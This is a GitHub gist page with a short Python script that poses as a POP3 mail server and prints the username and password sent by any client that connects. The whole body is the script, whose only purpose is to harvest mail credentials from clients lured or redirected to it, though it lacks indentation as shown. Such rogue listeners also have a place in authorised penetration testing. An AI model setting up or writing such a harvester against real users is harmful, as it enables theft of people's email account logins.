Skip to content

Instantly share code, notes, and snippets.

@richmidwinter
Created December 30, 2012 20:07
Show Gist options
  • Save richmidwinter/4414813 to your computer and use it in GitHub Desktop.
Save richmidwinter/4414813 to your computer and use it in GitHub Desktop.
A fake POP3 server in python which prints authentication details.
#!/usr/bin/env python
import socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('192.168.1.100',110))
c.listen(1)
while 1:
csock, caddr = c.accept()
cfile = csock.makefile('rw', 0)
print "Connection accepted."
cfile.write("+OK POP3 PROXY server ready mail.server.com\r\n")
line = cfile.readline().strip()
print "USER: " + line
cfile.write("+OK Password required\r\n")
line = cfile.readline().strip()
print "PASS: " + line
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment